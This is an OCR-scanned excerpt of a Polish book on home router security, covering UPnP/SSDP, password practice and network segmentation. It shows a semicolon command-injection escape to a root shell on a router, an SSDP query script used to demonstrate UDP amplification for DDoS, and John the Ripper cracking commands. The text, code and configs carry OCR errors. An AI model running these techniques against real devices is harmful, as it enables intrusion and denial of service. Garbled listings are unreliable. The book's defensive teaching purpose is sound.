mitsurugi@dojo$ nmap -6 -p 23 fe80::6ecd:d6ff:fedd:dd73%ethl
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-01 12:04 CET
Nmap scan report for fe80::6ecd:d6ff:fe44:dd73

Host is up (0.00061s latency).

PORT STATE SERVICE

23/tcp open telnet

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Podczas analizowania firmware’u okazalo sie, ze w systemie dostepny jest
uzytkownik support z prostym hastem (listing 13).

Listing 13. Wykrycie w routerze uzytkownika support i jego tatwego hasta

mitsurugi@dojo$ cat /etc/passwd

admin:<admin passwd hash>:0:0:Administrator:/:/bin/sh

support:$1$QkcawmV. $VU4maCah6eHihce514YCPO:0:0:Technical Support:/:/bin/sh
user:$1$9RZrTDt7$UAEbCkq.Qa4uOQwXpzln/:0:0:Normal User:/:/bin/sh
nobody:<admin passwd hash>:0:0:nobody for ftp:/:/bin/sh

mitsurugi@dojo$

61



Adam Samson  //  Bezpieczenstwo domowego routera Wi-Fi

62

Wspomniany uzytkownik mial jednak ograniczone uprawnienia (listing 14).

Listing 14. Badanie uprawnien znalezionego uzytkownika

$ telnet fe80::6ecd:d6ff:fedd:dd73%ethl
Trying fe80::6ecd:d6ff:fedd:dd73%ethl. ..
Connected to fe80::6ecd:d6ff:fed4:dd73%ethl.
Escape character is '~]'.
BCM96750 Broadband Router
Login: support
Password:
> help
?
help
logout
exit
quit
reboot
brctl

cat

(...)

System pozwalal jednak na ich eskalacje za pomoca uzycia $rednika — i dzieki
temu kolejne polecenia mozna juz byto wykonywac z uprawnieniami roota'!°
(listing 15).

Listing 15. Eskalacja uprawnien uzytkownika do roota

> ifconfig a; /bin/ash

ifconfig a ; /bin/ash

ifconfig: a: error fetching interface information: Device not found
BusyBox v1.31.1 (2022-05-11 10:37:23 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a

Linux RAX30 4.19.151 #1 SMP PREEMPT Wed May 11 10:27:11 CST 2022
armv71

#
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UPnP - szerzej o problemach z mechanizmem

ZALECENIA: UPnP

» Jesli to mozliwe, zrezygnuj z korzystania z tego protokotu.
» Upewnij sie, ze blokujesz komunikacje na porcie 1900 z WAN.

» Przetestuj sie¢ za pomoca zewnetrznych narzedzi w celu sprawdzenia, czy Twoja sie¢
jest bezpieczna.

Wprawdzie w podrozdziale wyzej wspomniano, ze jest to niebezpieczny pro-
tokol, warto jednak poswieci¢ mu troche wiecej miejsca w celu zrozumienia,
jakie stwarza zagrozenie i jak dziala.

SSDP (Simple Service Discovery Protocol) — sieciowy protokét komunika-
cyjny majacy na celu wykrycie urzadzen dostepnych w sieci bez uzycia innych
serwerowych mechanizméw, jak DHCP lub DNS w matych sieciach biurowych
badz domowych. Jest on podstawa dzialania protokotu UPnP. Protokét uzywa
rozgloszenia multicast (239.255.255.250) za posrednictwem UDP oraz portu
1900 do komunikacji. Twércami tego protokotu byly firmy Microsoft oraz Hew-
lett-Packard w 1999 roku.

Mechanizm UPnP ma za zadanie pozwoli¢ na szybka zmiane konfiguracji
ustawien urzadzen sieciowych — zazwyczaj dotyczy to wladnie routeréw do-
mowych. Dodatkowo nie wymaga on autoryzacji ani zadnych uprawnien do
wykonania tej operacji, a co za tym idzie — mozemy wcale nie by¢ $wiadomi
wprowadzonych aktualizacji.

Komunikacja w protokole UPnP (rysunek 25''!) zazwyczaj przebiega w po-
dany sposéb:

1. Wystanie zapytania HTTP over UDP z uzyciem metody M- SEARCH. Ma ono

za zadanie wykry¢ urzadzenia obstlugujace UPnP.

2. Nastepuje pobranie pliku XML oferowanego przez router, zawierajacego

informacje o mozliwos$ci konfiguracji UPnP na danym urzadzeniu.

3. Ostatnia faza to przestanie pliku XML konfigurujacego ponownie sprzet.

W normalnej sytuacji wyszukiwanie sprzetéw za pomoca SSDP oraz zmiana
konfiguracji powinny by¢ mozliwe tylko z sieci LAN. Niestety, w praktyce jest
juz inaczej, jako ze wyszukiwarka Shodan przy zapytaniu o urzadzenia dostep-
ne w sieci na publicznym adresie IP z otwartym portem 1900 zwraca ponad
350 000 wynikéw". Nalezy jednak pamieta¢ o tym, ze otwarty port to tylko su-
gestia, rownie dobrze moze by¢ na nim uruchomiona zupelnie inna ustuga.

* Shodan - zapytanie o port 1900 wymaga wczesniejszego zalogowania darmowym kontem.
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Rysunek 25. Przebieg komunikacji w protokole UPnP

Daje to szerokie pole do popisu atakujacym — w 2018 roku przeprowadzono
atak na ok. 50 000 dostepnych z sieci urzadzen, w ktérych przemapowano por-
ty LAN (445 oraz 139) - tak by mozna bylo dostac¢ sie do nich z sieci WAN. Po-
zwolilo to na uzycie podatnosci EternalBlue''?, znanej z NSA, grupy The Shadow
Brokers oraz ransomware WannaCry, na komputerach normalnie niedostep-
nych z sieci WAN*3,

Dalsze wykorzystanie takich urzadzen to np. budowa matej sieci anonimi-
zujacej za pomoca przejetych wczesniej routerow'“.

Przyktad podatnosci
Korzystajac z maszyny z systemem Linux i skryptéw w Pythonie, mozemy
eksperymentowac z testowaniem protokotu UPnP w domowym Srodowisku.
Na ponizszym fragmencie (listing 16) widzimy zapytania z przegladarki
Chrome przesylane do urzadzenia typu Smart TV.

Listing 16. Zapytanie wysytane z przegladarki Chrome do urzadzenia Smart TV w celu rozpozna-
nia mozliwosci uzycia podatnosci w protokole SSDP

$ sudo tcpdump -ni eth@ udp and port 1900 -A
IP 192.168.1.124.53044 > 239.255.255.250.1900: UDP, length 175
M-SEARCH * HTTP/1.1


https://blog.rapid7.com/2017/04/18/the-shadow-brokers-leaked-exploits-faq/
https://www.akamai.com/blog/security/upnproxy-eternal-silence
https://blog.0day.rocks/hiding-through-a-maze-of-iot-devices-9db7f2067a80
https://blog.0day.rocks/hiding-through-a-maze-of-iot-devices-9db7f2067a80
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HOST: 239.255.255.250:1900

MAN: "ssdp:discover”

MX: 1

ST: urn:dial-multiscreen-org:service:dial:1

USER-AGENT: Google Chrome/103.0.3029.110 Windows

Ramka przesylana jest za pomoca multicastu. Inne urzadzenia stuchajace na tym
adresie i obstugujace ten konkretny typ ST (search-target) ,multiscreen” sg tymi
urzadzeniami, ktére powinny odpowiedzie¢ na zadanie.

Zapytanie ST ma dwa standardowe rodzaje:

1. upnp:rootdevice: —szukaj urzadzen nadrzednych,

2. ssdp:all: —szukaj wszystkich serwiséw i urzadzen obstugujacych UPnP.

Te dwa zapytania mozna emulowac za pomoca skryptu w Pythonie (listing 17).

Listing 17. Emulacja zapytar UPnP z wykorzystaniem skryptu Python

#!/usr/bin/env python3
import socket

import sys

dst = "239.255.255.250"

if len(sys.argv) > 1:
dst = sys.argv[1]

st = "upnp:rootdevice"

if len(sys.argv) > 2:
st = sys.argv[2]

msg = [
'M-SEARCH * HTTP/1.1',
'"Host:239.255.255.250:1900",
'ST:%s' % (st,),
'Man:"ssdp:discover"’,
'‘MX:1',
"]

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.settimeout(10)
s.sendto('\r\n'.join(msg).encode('utf-8'), (dst, 1900)))

while True:
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try:
data, addr = s.recvfrom(32*1024)
except socket.timeout:
break
print("[+] %s\n%s" % (addr, data.decode('utf-8')))

Jako przykladowa odpowiedZ mozna podac listing 18.

Listing 18. Przyktadowa odpowiedz na emulowane zapytanie z listingu 17

$ python ssdp-query.py

[+] ('192.168.1.71"', 1026)

HTTP/1.1 200 OK

CACHE-CONTROL: max-age = 60

EXT:

LOCATION: http://192.168.1.71:5200/Printer.xml

SERVER: Network Printer Server UPnP/1.0 OS 1.29.00.44 06-17-2009
ST: upnp:rootdevice

USN: uuid:Samsung-Printer-1_0-mrgutenberg: :upnp:rootdevice

[+] ('192.168.1.70', 36319)

HTTP/1.1 200 OK

Location: http://192.168.1.70:49154/MediaRenderer/desc.xml
Cache-Control: max-age=1800

Content-Length: ©

Server: Linux/3.2 UPnP/1.0 Network_Module/1.0 (RX-S601D)
EXT:

ST: upnp:rootdevice

USN: uuid:9aboceee-f668-11de-9976-000adedd7411: :upnp:rootdevice

W praktyce sa dwie drogi na dostarczenie ramki M-SEARCH:

1. wspomniany wcze$niej multicastowy adres,
2. bezpodrednio do hosta, z wlaczong obstuga UPnP/SSDP za pomoca zapy-
tania unicast.

Wykorzystujac druga metode, na przykladowej drukarce znalezionej za pomo-
ca skryptu, otrzymamy nastepujaca odpowiedz (listing 19):

Listing 19. Przyktadowa odpowied? urzadzenia z wtgczonym UPnP/SSDP na zapytanie unicast

$ python ssdp-query.py 192.168.1.71
[+] ('192.168.1.71", 1026)
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HTTP/1.1 200 OK

CACHE-CONTROL: max-age = 60

EXT:

LOCATION: http://192.168.1.71:5200/Printer.xml

SERVER: Network Printer Server UPnP/1.0 OS 1.29.00.44 06-17-2009
ST: upnp:rootdevice

USN: uuid:Samsung-Printer-1_0-mrgutenberg: :upnp:rootdevice

W tym momencie widac juz jasno problem — protokdt SSDP nie sprawdza, czy
wysylajacy zapytanie znajduje sie w tej samej sieci co urzadzenie. Odpowie
zatem na kazde wyszukanie M-SEARCH z sieci WAN. Wystarczy Zle skonfiguro-
wany firewall z otwartym portem 1900 —i nasze urzadzenie staje sie $wietnym
celem do amplifikacji UDP.

Podajmy wiec naszemu skryptowi Zle skonfigurowany host i dostaniemy
taka odpowiedz jak na listingu 20.

Listing 20. Przyktadowa odpowied? urzadzenia z wtgczonym UPnP/SSDP na spreparowane zapy-
tanie zawierajace Zle skonfigurowany host

$ python ssdp-query.py 100.42.x.x

[+] ('100.42.x.x", 1900)

HTTP/1.1 200 OK

CACHE-CONTROL: max-age=120

ST: upnp:rootdevice

USN: uuid:3e55ade9-c344-4baa-841b-826bda77dcb2: :upnp:rootdevice
EXT:

SERVER: TBS/R2 UPnP/1.0 MiniUPnPd/1.2

LOCATION: http://192.168.2.1:40464/rootDesc.xml

Prawdziwe mozliwo$ci wzmocnienia sg jednak realne dzieki wykorzystaniu
typu ST - ssdp:all:, takie odpowiedzi beda zdecydowanie wieksze (wygene-
ruja znacznie wiecej ruchu sieciowego (listing 21).

Listing 21. Wzmocnienie iloéci generowanego ruchu poprzez wykorzystanie
ST - ssdp:all: wzapytaniu

$ python ssdp-query.py 100.42.x.x ssdp:all
[+] ('100.42.x.x"', 1900)

HTTP/1.1 200 OK

CACHE-CONTROL: max-age=120

ST: upnp:rootdevice

USN: uuid:3e55ade9-c344-4baa-841b-826bda77dcb2: :upnp:rootdevice
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EXT:
SERVER: TBS/R2 UPnP/1.0 MiniUPnPd/1.2
LOCATION: http://192.168.2.1:40464/rootDesc.xml

[+] ('100.42.x.x', 1900)

HTTP/1.1 200 OK

CACHE-CONTROL: max-age=120

ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1

USN: uuid:3e55ade9-c344-4baa-841b-826bda77dcb2: :urn:schemas-upnp-org:
device:InternetGatewayDevice:1

EXT:

SERVER: TBS/R2 UPnP/1.0 MiniUPnPd/1.2

LOCATION: http://192.168.2.1:40464/rootDesc.xml

. 6 more response packets....

W tym przypadku jedno zapytanie M-SEARCH wyslane za pomoca SSDP wywo-
lalo osiem pakietéw odpowiedzi, cel ataku pokazuje o§miokrotny wzrost liczby
pakietéw i dwudziestoszesciokrotny wzrost uzytej przepustowosci (listing 22).

Listing 22. OdpowiedZ na zapytanie tcpdump przedstawiajace ilo$¢ wygenerowanego ruchu

$ sudo tcpdump -ni en7 host 100.42.x.x -ttttt

00:00:00.000000 IP 192.168.1.200.61794 > 100.42.x.Xx.1900: UDP, length 88
00:00:00.197481 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 227
.200.61794: UDP, length 299

.200.61794: UDP, length 295

1
00:00:00.199634 IP 100.42.x.x.1900 > 192.168.1

00:00:00.202938 IP 100.42.x.x.1900 > 192.168.1

00:00:00.208425 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 275
00:00:00.209496 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 307
00:00:00.212795 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 289
00:00:00.215522 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 291
00:00:00.219190 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 291
Na koniec zostaje tylko uzycie IP spoofingu w celu wykonania UDP flood, a w za-
sadzie DDoS (Distributed Denial of Service)''> na serwerze, ktory chcemy zaata-
kowaé, a nie na naszym urzadzeniu. Testerom udalo sie przeprowadzi¢ w ten

sposéb ataki z uzyciem przepustowos$ci przekraczajacej 100 Gbps''.


https://pomoc.home.pl/baza-wiedzy/co-to-jest-atak-ddos
https://cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/
https://blog.cloudflare.com/ssdp-100gbps/
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Dobre praktyki zwigzane z hastem

ZALECENIA DOTYCZACE HASEL

» Zacznij od zmiany domysInych haset w urzadzeniach oraz w sieciach Wi-Fi.

» Hasto musi by¢ dtugie - minimum 16 znakow, a najlepiej jeszcze wiecej - utrudni to
wykonanie ataku typu brute-force.

» Warto zrezygnowac z nakazu regularnej zmiany haset - tego typu praktyki nie przyno-
szg korzysci, poniewaz czesto to nowe hasto niewiele rézni sie od poprzedniego.

» Zmien hasto do kazdego systemu lub sieci Wi-Fi, jesli masz podejrzenie, ze mogto
wpas¢ w rece nieuprawnionej 0soby.

» Wykorzystuj opcje automatycznego sprawdzania wyciekow haset - oferujg to niektore
menedzery haset, a jesli juz zapamietujesz hasta w przegladarce, to one réwniez majg
taka mozliwos¢.

» Zadbaj o bezpieczenstwo, uzywajac réznych haset.

» Zmien nawyk uzywania takiego samego hasta ze zmieniong jego czescia - tego typu
praktyki sg stosunkowo przewidywalne i daja fatszywe poczucie bezpieczenstwa.

» Wykorzystaj menedzera haset do przechowywania, generowania i autouzupetniania
swoich danych - dzieki temu musisz pamietac tylko jedno hasto, a nie wszystkie.
Mozemy znalez¢ tego typu narzedzia zaréwno w wersji darmowej, jak i ptatnej™.

Raz na jaki$ czas duze korporacje oraz organizacje publikuja swoje wytyczne
dotyczace bezpieczenstwa hasel. Bazujac na zebranych tego typu dokumen-
tach, mozna wyciggnac kilka wnioskdw, ktére warto stosowac na co dziene.

W tym miejscu zasadne jest wspomnie¢ o niedawnym wycieku® z mene-
dzera hasel — LastPass'!®. Tworca systemu przyznatl sie publicznie do wycieku
ijednoznacznie zaapelowal o pilng zmiane zawartych w nich hasel. O ile dane
tam zawarte byly zaszyfrowane, to nie ma pewnosci, zZe nie zostaly juz odzy-
skane. Dlatego, korzystajac z chmurowych rozwigzan do zarzadzania hasta-
mi, warto $ledzi¢ publikowane oficjalnie komunikaty zwigzane z bezpieczen-
stwem naszych danych.

Jak wypracowac sobie metode tworzenia dtugich, ale prostych do zapamieta-
nia hase}? Warto zasugerowac sie zartobliwym instruktazem zamieszczonym na
rysunku 26'2°. Moze to by¢ cho¢by budowanie wlasnych potaczen wyrazoéw, ktére
beda np. skladaly sie z nazw kilku przedmiotéw lezacych na biurku. Mozna tez
zasugerowac sie wynikami z generatora prostych hasel. Warto delikatnie zmieni¢
ostatnio uzyte hasto, gdyz wyniki w nim zwracane sa bez wykorzystania HTTPS.

Chociaz cze$ciowo mozliwe jest zastapienie hasta poprzez wykorzystanie
klucza prywatnego do logowania sie poprzez sesje SSH do routera, nalezy

* Grudzien 2022.
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zaznaczy¢, ze w procesie tym biora udzial oba klucze — zaréwno prywatny, jak
i publiczny. Oczywiscie, konieczne jest, aby router pozwalal na tego rodzaju
polaczenia i umozliwial wgrywanie wlasnych kluczy.
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Rysunek 26. Sita hasta

Na pytanie, czy mozna caltkowicie zrezygnowac z haset, producenci oprogra-
mowania odpowiadajg, ze tak. Microsoft, Google oraz Apple pracuja nad sys-
temami, ktére beda wykorzystywac np. klucze prywatne cze$ciowo synchro-
nizowane w chmurze iCloud (Apple'?!) i biometryke. O ile to wszystko ma sens
w przypadku przegladarek internetowych i logowania sie do serwiséw takich
jak e-mail lub systemy zarzadzania kodem - to niekoniecznie znajduje zasto-
sowanie w przypadku producentéw sprzetu sieciowego przeznaczonego do
domo6w. Wiekszosc¢ z nich raczej nie posunie sie do integracji tego typu w ciggu
najblizszych kilku lat, wiec stare, poczciwe hasto pozostanie z nami jeszcze
przez pewien czas. Predzej zobaczymy tego typu rozwigzania stosowane w
przypadku sprzetu biznesowego, gdzie producenci szybciej integruja tego typu
nowosci.


https://wired.com/story/apple-passkeys-password-ios16-ventura/
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Przyktad ataku na hasto
Najprostszym przykladem bedzie tu zaprezentowanie dzialania podstawo-

wego narzedzia do tamania hasel, jakim jest John The Ripper'?2 Jedli korzy-

stamy z dystrybucji Kali Linux, jest tam preinstalowany, w przeciwnym wy-

padku mozna go zainstalowaé czy to za pomocg komendy sudo apt install

john, czy na systemie Mac brew install john. Kali zawiera réwniez jedna
z najbardziej znanych list hasel, dostepna pod $ciezka /usr/share/wordlists/
rockyou.txt (moze by¢ spakowana do archiwum).

Wszystkie mozliwo$ci aplikacji mozemy poznaé, korzystajac z komendy
john -h-co zostalo przedstawione na rysunku 27.

L— [«]% john -h

Created directory: /home/htb-ac78569/.john

John the Ripper 1.9.0-jumbo-1 OMP [linux-gnu 64-bit x86 64 AVX2 AC]
Copyright (c) 1996-2019 by Solar Designer and others

Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]

--single[=SECTION[,..]]

--single=:rule[,..]

--wordlist[=FILE] --stdin
--pipe

-loopback[=FILE]

--dupe-suppression

--prince[=FILE]

- -encoding=NAME

-rules [=SECTION[,..]]

--rules=:rulel;..]]
-rules-stack=SECTION[,..]

-rules-stack=:rule[;..]
--incremental [=MODE]

"single crack" mode, using default or named rules
same, using “"immediate" rule(s)

wordlist mode, read words from FILE or stdin

Like --stdin, but bulk reads, and allows rules
like --wordlist, but extract words from a .pot file
suppress all dupes in wordlist (and force preload)
PRINCE mode, read words from FILE

input encoding (eg. UTF-8, IS0-8859-1). See also
doc/ENCODINGS and --list=hidden-options.

enable word mangling rules (for wordlist or PRINCE
modes), using default or named rules

same, using “"immediate" rule(s)

stacked rules, applied after regular rules or to
modes that otherwise don't support rules

same, using "immediate" rule(s)

"incremental” mode [using section MODE]

Rysunek 27. Przyktadowy wynik komendy john -h

John the Ripper posiada trzy tryby pracy:

1. single crack mode - bierze slowo i generuje jego wariacje — hasto ,test”

moze by¢ przerobione na ,TeSt” i inne, pokrewne;

2. uzycie listy stow - John wygeneruje liste hashy na podstawie wskazanego
pliku i wykona poréwnanie z naszym hashem hasta;

3. tryb przyrostowy — prébujemy kazdego znaku, litery i cyfry do skutku
— tzw. brute-force.
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Zaczniemy od przygotowania — stwérzmy pusty plik tekstowy o nazwie
crack.txt, do ktérego jako zawartos¢ wklejamy uzytkownika i hash jego hasta,
rozdzielajac je dwukropkiem.
stealth:d776dd32d662b8efbdf853837269bd725203c579

Nastepnie podajemy informacje, jakiego trybu chcemy uzyc¢ijakiego forma-
tu szyfrowania oczekujemy (aplikacja nie zawsze sama rozpozna go prawidlo-
wo): $ john --single --format=raw-shal crack.txt.

Wynik znaleziony zostal dos$¢ szybko, co wida¢ na rysunku 28.

Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for p
erformance.

StEaLtH (stealth)

1g 0:00:00:00 DONE (2022-11-15 13:24) 50.009/s 18400p/s 18400c/s 18400C/s StEalLt
H..stealh

Rysunek 28. Dziatanie narzedzia John The Ripper w trybie single crack mode

Sprawdzmy, jak John poradzi sobie z trudniejszym haslem. Tym razem uzyjemy
pliku tylko z hashem i listy dostepnej w Kali Linux. Hash hasla jest nastepujacy:
edba955d0eal5fdef4f61726ef97e5af507430c0

Komenda uzyta do tamania to:
$ john --wordlist=/usr/share/wordlists/rockyou.txt
--format=raw-shal crack.txt

Efekt mozemy obejrzeé¢ na rysunku 29.

L— [«]$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-shal cra
ck.txt

Using default input encoding: UTF-8

Loaded 1 password hash (Raw-SHA1l [SHA1 256/256 AVX2 8x])

Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password5 (?)

1g 0:00:00:00 DONE (2022-11-15 14:26) 50.00g/s 165200p/s 165200c/s 1865200C/s ant
oniol..analyn

Use the "--show --format=Raw-SHA1" options to display all of the cracked passwor
ds reliably

Session completed

Rysunek 29. Wynik dziatania narzedzia John The Ripper w trybie stownikowym

Ostatnig metoda jest korzystanie z najmniej efektywnego podejscia, czyli pro-
bowania wszystkich mozliwych kombinacji ataku. W praktyce wystarcza dwie
poprzednie metody polaczone z odpowiednim rozpoznaniem socjotechnicz-
nym do ztamania wiekszo$ci hasel.

Przykladem takiej komendy moze by¢:

$ john -i:cyfry passwordfile.txt
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W miejscu opisanym jako cyfry podajemy definicje, ile maksymalnie cyfr
moze by¢ w wygenerowanym testowo hasle cyfr.

Ostatecznie, korzystajac z tak prostego w obstudze narzedzia, bardzo tatwo
potwierdzi¢, ze uzycie dlugiego hasta naprawde pozwala nam prawidlowo za-
bezpieczy¢ nasze konta i sekrety. Odpowiednio dtugie hasto zwyczajnie moze
stac sie niemozliwe do zlamania, natomiast krotkie hasta to obecnie cos$, co
mozna tamaé, korzystajac z domowych komputer6w'?. Pamietajmy jednak,
zeby haslo to nie bylo jakim$ powszechnie znanym cytatem czy kombinacja
imion naszych dzieci lub by nie skladalo sie z samych cyfr. Niezaleznie od dtu-
gosci moga one by¢ latwe do odgadniecia lub ztamania.

Obecnie pojawily sie tez metody na sprawdzanie w czasie prawie rzeczy-
wistym, czy nasze hasto nie znalazlo sie w jakim$ wycieku - poza recznym
zweryfikowaniem w serwisie Have I Been Pwned, mozna réwniez zintegrowac
sie z systemem operacyjnym. Serwis udostepnia takze platne API'*.

Tworcy menedzeréw hasel sami umozliwiajg odpytywanie zewnetrznych
baz danych w poszukiwaniu wyciekéw, réwniez w dark webie'? (ukryta sie¢
wymagajaca dedykowanych przegladarek, jak np. TOR)'?*. Nawet tworcy prze-
gladarek internetowych - takich jak Microsoft Edge — dodaja modut Password
Monitor!?” pozwalajacy na automatyczng kontrole, czy nasze hasto nie zostato
gdzie$ opublikowane.

K-Anonymity to kolejne zagadnienie zwigzane z hastami. Jest to koncept
wprowadzony w 1998 roku, oparty na idei ukrywania informacji identyfikuja-
cych osobe poprzez taczenie réznych zestawdéw danych o zblizonych cechach.
Spolszczona nazwa tego konceptu to K-anonimizacja, ktora polega na masko-
waniu tozsamos$ci poprzez tworzenie wiekszych grup danych, co utrudnia
identyfikacje pojedynczych os6b'?.

K-anonimizacja moze by¢ takze stosowana w celu zwiekszenia bezpieczen-
stwa transmisji hasha hasta. Dzieki temu serwisy testujace otrzymuja mniej
informacji o skrécie hasta, co utrudnia ztamanie go przez cyberprzestepcéw.
Klient generuje zanonimizowany hash, pobiera skréty z bazy danych, a anali-
ze przeprowadza lokalnie. Technicznie méwiac, modyfikujemy funkcje skrétu
hasel poprzez skracanie hashy zamiast ich solenia, co wprowadza niejedno-
znaczno$¢ w odpowiedziach na zadania klienta. Dzieki takiemu podej$ciu moz-
liwe sa efektywne zapytania kierowane do API bez uzycia struktury drzewa
decyzyjnego. Jest to latwe w implementacji zagadnienie przy wykorzystaniu
protokotu HTTP, a klientom umozliwia wykorzystanie pamieci podrecznej
w testowaniu hasel'?.
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Segmentacja sieci

DOBRE RADY: PODZIAL SIECI LAN

» Wydziel z gtownej sieci potencjalnie niebezpieczne urzadzenia (np. dostepne z Internetu).

» Korzystaj z oddzielnych podsieci lub VLAN-6w do wydzielenia urzadzen loT badz
systemow monitoringu.

Segmentacja sieci to, najprosciej méwiac, wydzielenie czesci sieci w celu ogra-
niczenia dostepu miedzy nig a inng jej czescia. Dzieki takiemu zabiegowi,
w przypadku wlamania do jednej czesci sieci, utrudniamy potencjalnemu ata-
kujacemu dalsze analizowanie danej sieci lub podstuchiwanie ruchu sieciowego.

Wyobrazmy sobie sytuacje, ze kto$ zaatakowal podatng kamere IP, a z niej
zaczal przegladac pliki udostepnione w domowej sieci na ogélnodostepnym
dysku sieciowym. Segmentacja sieci ograniczytaby dostep tylko — albo az — do
kamery, ale przy jej braku atakujacy mogtby zapoznacd sie réwniez z dokumen-
tami, w ktérych znalazlby sie np. fizyczny adres albo inne poufne dane. Pola-
czenie tych danych ze soba pozwoli na znacznie wiecej niz tylko pozyskanie
obrazu, cho¢ i do takich sytuacji w miare mozliwosci lepiej nie dopuscié.

Najprostsza opcja zastosowania segmentacji sieci jest utworzenie sieci go-
$cinnej z wykorzystaniem funkcji wydzielania logicznego fragmentu sieci. W ten
spos6b urzadzenia o mniejszym stopniu zaufania mozna pod}aczac do tego seg-
mentuy, jednocze$nie zachowujac gtéwna sie¢ w ukryciu. Warto jednak pamietac,
ze sie¢ gosScia moze by¢ ograniczona do niezabezpieczonej sieci z funkcja captive
portal, co moze by¢ pewna przeszkoda przy wykorzystaniu tego podejscia. Jesli
korzystamy z urzadzenia Funbox od Orange, mozemy réwniez skorzystac z pre-
definiowanej sieci dla IoT, ktéra dziala na podobnych zasadach.

Druga opcja w domu to wykorzystanie dwdch (lub wiecej) routeréw usta-
wionych kaskadowo. Segmentacje mozna z powodzeniem wykona¢, korzysta-
jac np. z dwdch routeréw firmy MikroTik ustawionych jeden za drugim.

Trzecia opcja jest budowa sieci z wy VLAN™? (Virtual Local Area Network),
o ile nasz router posiada takie funkcje. Przykladowo routery marki Asus ofe-
ruja taka sie¢ tylko dla funkcji wymaganej do ogladania telewizji sieciowej
opartej na IPTV (Internet Protocol Television). Jesli nie mamy w routerze takich
funkcji, mozna korzysta¢ z dodatkowego urzadzenia typu switch — koniecznie
zarzadzalnego.

Oczywidcie sa tez bardziej wyszukane rozwiazania, jak wykorzystanie odro-
bine wydajniejszych routeréw MikroTik z opcja wielu podsieci i oferowania
w nich DHCP z poziomu routera.


https://forum.mikrotik.com/viewtopic.php?f=23&t=143620
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Wi

eksze sieci warto tez poddawac segmentacji, dzielac je na fragmenty

1 ograniczajac przy tym zbedny ruch sieciowy. W domowych, matych sieciach
LAN, nie jest to gldéwnym kryterium, ktorym warto sie kierowac.

Przyktad segmentacji sieci przy wykorzystaniu jednego routera typu MikroTik

Wi

ekszo$¢ domowych urzadzen tego typu oferuje trzy lub cztery porty LAN

oraz jeden przeznaczony do polaczen WAN; wykorzystajmy cztery do zbudo-
wania przykladowej sieci (listing 23'%). Wazne ustalenie na poczatek — musimy

mieé router firmy MikroTik w trybie pracy routera, nie zawsze tak jest $wiezo
po restarcie. Zalozenia to:

>

>

nie wymieniony port 0 dzialajagcy jako WAN,

port 1 — zarzadzanie podsiecia A (DHCP oferujacy adresacje z puli
192.168.10.0/24),

port 2 — podsie¢ B (DHCP oferujacy adresacje z puli 192.168.20.0/24),
port 3 — podsie¢ C (DHCP oferujacy adresacje z puli 192.168.30.0/24),
port 4 — podsie¢ D (DHCP oferujacy adresacje z puli 192.168.40.0/24
po Wi-Fi).

Podsie¢ D bedzie zawierala hosty, do ktérych dopuszczamy ruch z podsieci B

oraz C. Ruch pomiedzy nimi bedzie jednak filtrowany.

Listing 23. Skrypt pozwalajacy na budowe segmentowane;j sieci na urzadzeniach marki MikroTik

/in
add
add
add

/ip
add
add
add
add

/ip

set

/in

set

/in
add

terface list
comment=defconf name=WAN
comment=defconf name=LAN

comment=0GRANICZONA name=IoT

pool

name=dhcp_pooll ranges=192.168.10.2-192.168.10.254
name=dhcp_pool2 ranges=192.168.20.2-192.168.20.254
name=dhcp_pool3 ranges=192.168.30.2-192.168.30.254
name=dhcp_pool4 ranges=192.168.40.2-192.168.40.254

neighbor discovery-settings

discover-interface-1list=LAN

terface detect-internet

lan-interface-1list=LAN

terface list member

comment="MGMT" interface=ether2 list=LAN
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add comment="LAN 1" interface=ether3 list=LAN
add comment="LAN 2" interface=ether4 list=LAN

add comment="IoT 1" interface=wlanl list=LAN

/ip address

add address=192.168.10.1/24 comment=MGMT interface=ether2
network=192.168.10.0

add address=192.168.20.1/24 comment="LAN 1" interface=ether3
network=192.168.20.0

add address=192.168.30.1/24 comment="LAN 2" interface=ether4
network=192.168.30.0

add address=192.168.40.1/24 comment="IoT 1" interface=wlanl
network=192.168.40.0

/ip dhcp-server

add address-pool=dhcp_pooll disabled=no interface=ether2 lease-time=8h
name=dhcpl

add address-pool=dhcp_pool2 disabled=no interface=ether3 lease-time=8h
name=dhcp2

add address-pool=dhcp_pool3 disabled=no interface=ether4 lease-time=8h
name=dhcp3

add address-pool=dhcp_pool4d disabled=no interface=wlanl lease-time=8h

name=dhcp4

/ip dhcp-client

add comment=defconf disabled=no interface=ether2

/ip dhcp-server network

add address=192.168.10.0/24 comment=defconf gateway=192.168.10.1
add address=192.168.20.0/24 gateway=192.168.20.1

add address=192.168.30.0/24 gateway=192.168.30.1

add address=192.168.40.0/24 gateway=192.168.40.1

/ip firewall filter

add action=accept chain=input comment="defconf: accept
established,related,untracked" connection-state=established,related,untracked
add action=drop chain=input comment="defconf: drop invalid"
connection-state=invalid

add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
add action=accept chain=input comment="defconf: accept to local loopback

(for CAPsSMAN)" dst-address=127.0.0.1
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add action=drop chain=input comment="defconf: drop all not coming from LAN"
in-interface-list=!LAN

add action=fasttrack-connection chain=forward comment="defconf: fasttrack"
connection-state=established,related

add action=accept chain=forward comment="defconf: accept
established,related, untracked" connection-state=established,related,untracked
add action=accept chain=forward in-interface=ether2

add action=accept chain=forward in-interface=ether3 out-interface=wlanl

add action=accept chain=forward in-interface=ether4 out-interface=wlanl

add action=drop chain=forward comment="defconf: drop invalid"
connection-state=invalid

add action=drop chain=forward comment="defconf: drop all from WAN

not DSTNATed" connection-nat-state=!dstnat connection-state=new
in-interface-1list=WAN

add action=drop chain=forward

/ip firewall nat
